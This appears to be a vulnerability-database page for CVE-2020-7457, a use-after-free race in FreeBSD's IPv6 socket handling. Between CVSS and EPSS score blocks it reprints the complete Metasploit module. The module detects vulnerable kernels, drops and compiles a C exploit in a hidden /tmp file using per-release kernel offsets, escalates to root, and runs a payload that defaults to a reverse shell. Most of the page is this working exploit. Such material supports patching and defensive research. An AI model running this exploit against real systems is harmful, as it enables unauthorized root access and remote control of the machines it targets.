8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.346 Low
EPSS
Percentile
97.0%
This Metasploit module exploits a race and use-after-free vulnerability in the FreeBSD kernel IPv6 socket handling. A missing synchronization lock in the IPV6_2292PKTOPTIONS option handling in setsockopt permits racing ip6_setpktopt access to a freed ip6_pktopts struct. This exploit overwrites the ip6po_pktinfo pointer of a ip6_pktopts struct in freed memory to achieve arbitrary kernel read/write.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation',
'Description' => %q{
This module exploits a race and use-after-free vulnerability in the
FreeBSD kernel IPv6 socket handling. A missing synchronization lock
in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.
This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
struct in freed memory to achieve arbitrary kernel read/write.
This module has been tested successfully on:
FreeBSD 9.0-RELEASE #0 (amd64);
FreeBSD 9.1-RELEASE #0 r243825 (amd64);
FreeBSD 9.2-RELEASE #0 r255898 (amd64);
FreeBSD 9.3-RELEASE #0 r268512 (amd64);
FreeBSD 12.0-RELEASE r341666 (amd64); and
FreeBSD 12.1-RELEASE r354233 (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andy Nguyen', # @theflow0 - discovery and exploit
'bcoles' # metasploit
],
'DisclosureDate' => '2020-07-07',
'Platform' => ['bsd'], # FreeBSD
'Arch' => [ARCH_X64],
'SessionTypes' => ['shell'],
'References' =>
[
['CVE', '2020-7457'],
['EDB', '48644'],
['PACKETSTORM', '158341'],
['URL', 'https://hackerone.com/reports/826026'],
['URL', 'https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6'],
['URL', 'https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch'],
['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h'],
['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c']
],
'Targets' =>
[
[
'Automatic',
{}
],
[
'FreeBSD 9.0-RELEASE #0',
{
allproc: '0xf01e40'
}
],
[
'FreeBSD 9.1-RELEASE #0 r243825',
{
allproc: '0x1028880'
}
],
[
'FreeBSD 9.2-RELEASE #0 r255898',
{
allproc: '0x11c9ba0'
}
],
[
'FreeBSD 9.3-RELEASE #0 r268512',
{
allproc: '0x1295800'
}
],
[
'FreeBSD 12.0-RELEASE r341666',
{
allproc: '0x1df3c38'
}
],
[
'FreeBSD 12.1-RELEASE r354233',
{
allproc: '0x1df7648'
}
],
],
'DefaultOptions' =>
{
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 10
},
'Notes' =>
{
'Stability' => [CRASH_OS_RESTARTS],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'DefaultTarget' => 0
)
)
register_advanced_options([
OptInt.new('NUM_SPRAY', [true, 'Spray iterations', 256]),
OptInt.new('NUM_SPRAY_RACE', [true, 'Race iterations', 32]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def select_target(kernel_version)
targets.each do |t|
return t if kernel_version.include?(t.name)
end
nil
end
def check
kernel_version = cmd_exec('uname -v').to_s
unless kernel_version.include?('FreeBSD')
return CheckCode::Safe('Target system is not FreeBSD')
end
kernel_arch = cmd_exec('uname -m').to_s
unless kernel_arch.include?('64')
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
end
vprint_good("System architecture #{kernel_arch} is supported")
unless select_target(kernel_version)
return CheckCode::Safe("No target for #{kernel_version}")
end
vprint_good("#{kernel_version} appears vulnerable")
unless command_exists?('cc')
return CheckCode::Safe('cc is not installed')
end
vprint_good('cc is installed')
CheckCode::Appears
end
def exploit
if is_root?
unless datastore['ForceExploit']
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
if target.name == 'Automatic'
kernel_version = cmd_exec('uname -v').to_s
my_target = select_target(kernel_version)
unless my_target
fail_with(Failure::NoTarget, "No target for #{kernel_version}")
end
else
my_target = target
end
print_status("Using target: #{my_target.name} - allproc offset: #{my_target[:allproc]}")
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
exploit_data = exploit_data('CVE-2020-7457', 'exploit.c')
if my_target.name.start_with?('FreeBSD 12')
exploit_data.gsub!('// #define FBSD12', '#define FBSD12')
end
exploit_data.gsub!(/#define ALLPROC_OFFSET .*$/, "#define ALLPROC_OFFSET #{my_target[:allproc]}")
exploit_data.gsub!(/#define NUM_SPRAY 0x100/, "#define NUM_SPRAY #{datastore['NUM_SPRAY']}")
exploit_data.gsub!(/#define NUM_KQUEUES 0x100/, "#define NUM_KQUEUES #{datastore['NUM_SPRAY']}")
exploit_data.gsub!(/#define NUM_SPRAY_RACE 0x20/, "#define NUM_SPRAY_RACE #{datastore['NUM_SPRAY_RACE']}")
upload("#{exploit_path}.c", strip_comments(exploit_data))
print_status("Compiling #{exploit_path}.c ...")
output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")
register_file_for_cleanup(exploit_path)
unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
end
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
timeout = 30
print_status("Launching exploit (timeout: #{timeout}s) ...")
output = cmd_exec(exploit_path, nil, timeout).to_s
output.each_line { |line| vprint_status line.chomp }
sleep(3)
print_status(cmd_exec('id').to_s)
unless is_root?
fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')
end
print_good('Success! Executing payload...')
cmd_exec("#{payload_path} & echo ")
end
end
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.346 Low
EPSS
Percentile
97.0%